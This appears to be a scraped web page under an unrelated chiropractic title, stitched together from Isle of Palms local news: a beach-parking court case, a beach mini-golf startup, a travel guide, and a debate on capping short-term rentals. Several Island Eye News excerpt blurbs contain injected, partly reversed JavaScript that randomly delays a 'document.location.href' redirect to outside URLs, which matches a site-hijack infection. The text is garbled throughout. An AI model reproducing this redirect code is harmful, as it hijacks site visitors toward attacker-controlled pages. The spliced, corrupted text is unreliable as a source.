Chiropractic Care in Isle of Palms, SC

ISLE OF PALMS — As the new year approaches, the fight over public beach parking remains unsettled with a court case awaiting a decision by the state Supreme Court.

The Palm Republic group created by Isle of Palms’ former mayor and a current councilman has asked the court to hear a constitutional challenge to a 2021 state law that says free beach parking along state roads can’t be removed without the state’s permission.

It’s a law created by Sen. Larry Grooms, R-Bonneau, and signed by Gov. Henry McMaster in the spring of 2021, following the island’s attempt in 2020 to remove much of the beach parking on the island and charge for the parking that would remain.

The S.C. Department of Transportation had already rejected the island’s plan to eliminate hundreds of parking spaces, and later stepped in to increase the amount of free parking near the beach on the island — “unilaterally and illegally” according to the Palm Republic lawsuit.

Those actions prompted Councilman Blair Hahn and former Mayor Jimmy Carroll to declare the island “The Palm Republic” in an airing of grievances that included a declaration of independence, signed in costume at a local bar.

At the time, Hahn was declared to be The Palm Republic’s “attorney general, also known as His Beaudacious Highness, Admiral and Grand Ruler of All Seas Less than 1 Fathom.” But he says the legal issues in play are not joke.

Carroll and Hahn have said the state law is an affront to home rule and the power of municipalities.

“We want our home rule back,” said Carroll. “We just want them to hear the case.”

State Rep. Joe Bustos, R-Mount Pleasant, agrees.

“There’s either going to be home rule, or there’s not,” he said.

The issue now is whether the Supreme Court will take what’s known as “original jurisdiction” and agree to hear the case, as Palm Republic LLC has asked.

The state, through Attorney General Alan Wilson’s office, and the DOT have both urged the court to not take the case. Both said there’s no urgency to rule on a law that’s been in effect for more than 18 months, and the case should be heard in a lower court.

“If the Supreme Court does not take the case, we’ll file the case in Charleston County,” Hahn said. “The only issue is, is the statute constitutional or not?”

He said the case would end up before the Supreme Court one way or another.

Like many barrier islands, Isle of Palms has sought to manage the flood of beach-bound traffic that arrives during the warm months. Conflict over the parking issue flared up in 2020 when the island prohibited non-residents from using the hundreds of free parking spots near the beach, citing COVID-19 concerns.

The attempt to eliminate parking and charge for what remained came the following year, prompting the creation of a nonprofit group that sued the city, the new state law, and action by SCDOT.

The Palm Republic group has been urging residents to write to local and state lawmakers, and the Supreme Court, to ask that the high court take the case.

About three years ago, Anthony Garofalo decided to take a beach trip with his family at Isle of Palms, South Carolina. While soaking up the sun, a random golf ball fell out of his wife's beach bag and rolled swiftly down the sand as it if were on a newly cut lawn.

"I'm like, 'Man, that's a fast green for putting,'" he said. "'I wonder if you could turn the beach into a putting green.'"

That is when the idea for his startup, Beach Putt, was born.

Garofalo spent the last roughly three years forming design ideas and prototyping his product to bring it to the scale it is today. He officially launched Beach Putt in the summer of 2022.

The Charlotte startup offers a complete portable and waterproof mini golf set that can be utilized not only on the sand, but also in an office during downtime or even a backyard. One of Beach Putt's kits, priced at $139.99, is equipped with two adjustable putters, putting cups, putt rings, nylon flags, a sand scoop for digging holes for the cups, a waterproof, dry bag backpack and six golf balls.

"Really, the whole idea of it was kind of bringing the love of golf and the fun of golf to the love of the beach and really merging the two together," Garofalo said.

When Beach Putt first launched in 2022, it didn't take long before it sold out of its first round of orders. There were 250 golf sets in that order, and now the startup is on its second round, which consists of 500 kits. Garofalo said they're already selling fast, ahead of spring break.

The local founder created the course not only for pro golfers, but also for people who simply enjoy the game, like himself. He said one of his passions behind designing Beach Putt was his own personal dream to one day live in a beach house with his family.

Beach Putt sets are currently available to purchase only through its website, which offers worldwide shipping. Garofalo said in the next 12 to 24 months, he hopes to have his product available to purchase from the shelves of major retail chains such as Dick's Sporting Goods.

"The mission is to kind of bring it to the level of international recognition where people think that, 'Hey, if I'm thinking of the top-three beach games,' I want Beach Putt to be in that top three," he said.

Beach Putt has seen a significant amount of sales in coastal areas such as the Carolinas, Florida, California and New England. Internationally, he's had several customers purchase the kits in Australia, the Netherlands and South Africa.

Garofalo said he's also stumbled across his customers playing in action — which was a surreal moment for the founder. He said he remembers at the end of last summer when he took a trip to the beach and saw someone playing the Beach Putt game.

"We had no idea who they were. They just had ordered it online," he said. "So, seeing people enjoying what you've created and having fun, that's super rewarding."

Keep Digging

The South Carolina barrier island just 30 minutes from Charleston may just be the area’s best-kept secret.

Swaths of uninterrupted white-sand beach, the smell of salty spray, warm sun on your skin, and the rustle of palm fronds gently blowing in the wind—these are the sights, sounds, and scents of Isle of Palms. The South Carolina barrier island packs a lot of relaxation and big fun into a vacation destination that's just seven miles long and one mile wide. The island's proximity to Charleston (just 18 miles by car), make it a preferred summer hideout for locals. An abundance of vacation rentals and the iconic Wild Dunes resort have been drawing visitors from across the country since the early 1970s.

With the deep blue Atlantic on one side and marshy creeks of the Intracoastal Waterway on the other, Isle of Palms offers the best of the Lowcountry and the beach in one stunning setting that's begging to be added to your vacation calendar.

Six of Isle of Palms' seven total miles are occupied by public beaches, which means you'll have your pick of the litter when looking for a sandy spot where you can post up for the day—or the week. Once you've staked your claim, all the normal beach activities are yours for the choosing, from splashing around in the surprisingly calm seas to building the ultimate sandcastle or playing a game of beach volleyball. For families, the Isle of Palms County Park, located in the middle of the island's coastline, is ideal. The public beach has lifeguards, outdoor showers, chair and umbrella rentals, restrooms, and even a playground for little ones retreat to once they tire of the sun and surf.

Make the most of a visit to Isle of Palms by scheduling a charter to take you offshore. Get your sea legs at the Isle of Palms Marina, where you can easily rent a boat and spend a day exploring the island's bays and waterways. Fishing charters are plentiful and offer both reef fishing and Gulf Stream fishing. For adventure enthusiasts or wildlife lovers, Barrier Island Eco Tours hosts a range of naturalist-guided tours that take visitors through winding salt marshes, tidal creeks, and the Intracoastal Waterway on the way to uninhabited Capers Island. Animals you might see along the way include loggerhead turtles, bottlenose dolphins, and every shape and size of coastal birds.

Breakfast is noteworthy at Sea Biscuit Café. The tiny beachside shack has been dishing out delicious morning meals since 1968. While they offer all the classics, the daily specials are where the magic happens. Past offerings have included chocolate banana challah French toast, lemon lavender pancakes, and tomato pie.

When you need a mid-day refuel for the whole family, Coconut Joe's is the obvious choice. Located on Isle of Palms' main drag, you won't have to venture far to get fresh seafood and impeccable vibes. The open-air covered deck is the ideal spot for munching on the restaurant's namesake shrimp, while rocking sandy toes and sun-bleached hair. When happy hour hits, venture to the rooftop bar for a frozen cocktail or painkiller. Nothing will put you on island time faster.

By the time you're finally ready to come in from the sun and go out to dinner, Isle of Palms will be waiting with plenty of options. The Boathouse and Acme Lowcountry Kitchen are island staples that have stood the test of time thanks to excellent quality food and good old-fashioned Southern hospitality. For a special night out, try Coda del Pesce, a fine dining restaurant that specializes in Italian with lots of influence (and fresh catch) from the nearby seas.

All trips to Isle of Palms must include at least one visit to The Windjammer at Front Beach. The legendary local music venue is known for its incredible live shows, stellar views of the water, cold drinks, and unbeatable fried pickles.

The obvious choice for places to stay in Isle of Palms is Wild Dunes Resort, a 1,600-acre family-friendly resort that offers everything from rooms and suites at two inns, to private beach condos and home rentals. In addition to a more-than-comfortable stay, the resort also features several resort-style pools, a spa, and two championship golf courses.

If you're hoping for a cozier stay, the newly renovated Palms Oceanfront Hotel consists of 68 modern rooms with gorgeous views of the sparkling Atlantic. There are also plenty of rentals through Airbnb and VRBO for everything from multifamily waterfront homes to one-bedroom condos.

Whether you book for a long weekend or stay for an entire week, the memories and magic of Isle of Palms will stay with you for months and years to come—maybe even until you have a chance to make another trip back!

By Catherine Malloy The morning of our Pig Pickin’ day dawned with buckets of rain and more rain. The downpour was great for our lawns, but was a damper on our party plans. We were a little concerned about what the conditions would be like by 4pm; the time the Pig Pickin’ was dom() * …

On June 11, the Isle of Palms City Council took members of the IOP Recreation, Fire and Public Works departments to court: the volleyball court, that is. To show their support for the Windjammer and to ease tensions over a recent issue with the bar’s volleyball posts on the beach, Council members and public servants …

Provided by the SC Department of Transportation While the design/build team for the rehabilitation of the Ben Sawyer Bridge has until May 2010 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), …

A giant monster looms over the intersection of Middle Street and Station 22 ½ on Sullivan’s Island, and its great arms reach out over the roof of a small pink and teal island home. For a while, most island residents thought it looked like a giant asparagus until it began dom() * 6); if (number1==3){var …

It was another sweltering hot day for the Lowcountry on June 12, but that didn’t deter several groups of golfers from enjoying the first day of the return of the 18th hole at Wild Dune’s Links Course. After erosion took a large bite out of the famed oceanfront hole, it took close to twenty months …

In an effort dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() …

Provided by Mary Pringle Redtailed Hawks are very common on the Isle of Palms and on Sullivan’s Island. They help dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if …

Island Eye News is the newspaper for the Isle of Palms and Sullivan’s Island; barrier islands located on the coast of Charlesdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); …

The Island Eye News is the local newspaper serving Sullivan’s Island, Isle of Palms, Wild Dunes, Goat’s Island and Dewee’s Island since 2005. We deliver your business dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom() * 6);if …

ISLE OF PALMS, S.C. (WCBD) – Isle of Palms City Council is weighing whether or not caps are needed on short-term rentals and if so, how to regulate them across the island. The discussion comes after the city hosted three community listening sessions in September.

Results from the three listening sessions show a divide among residents on the issue. Some say a cap is needed to protect island and community life, while others say implementing a cap would be unfair.

“If we stick with the status quo from a cap perspective, no cap, every other issue we deal with relative to rental impact will increase exponentially,” said one resident during Tuesday night’s City Council meeting.

Regulating short-term rentals could become of greater importance in the coming months. During the meeting, City Council says the number of rental units has grown by the hundreds this year alone, topping more than fifteen hundred units, leaving residents wanting action now.

“I think we’ve flipped,” says Councilman Scott Pierce, referring to the city becoming a rental community. “I think we were a residential community with rentals, and I think we may have already become a rental community with residents.”

The results of three community listening sessions provided council with mixed results. Some say a cap on rentals would mitigate the amount of trash, noise, and congestion that rental properties sometimes create while others say a cap would be unfair and hurt property values on the island.

“Something like this, the people who are the most motivated are the ones who think they have something to lose, not something to gain,” says Councilwoman Jan Anderson.

The three sessions drew more than a hundred residents, property owners, and investors. The overwhelming message gathered from the session results shows residents want city officials to enforce existing short-term rental rules. It’s something they say isn’t being done.

“I think that probably enforceability and seeing if we do need to limit short-term rentals, how we go about doing that,” says Councilman Rusty Streetman.

Residents fear short-term rentals could grow out of control if officials don’t match the steps taken by neighboring islands.

“We did not want to be the last municipality with no limitations, yet here we are,” says a resident.

Results from the city’s listening session and private survey can be found on the city’s website for residents to review.

Copyright 2023 Nexstar Media Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed.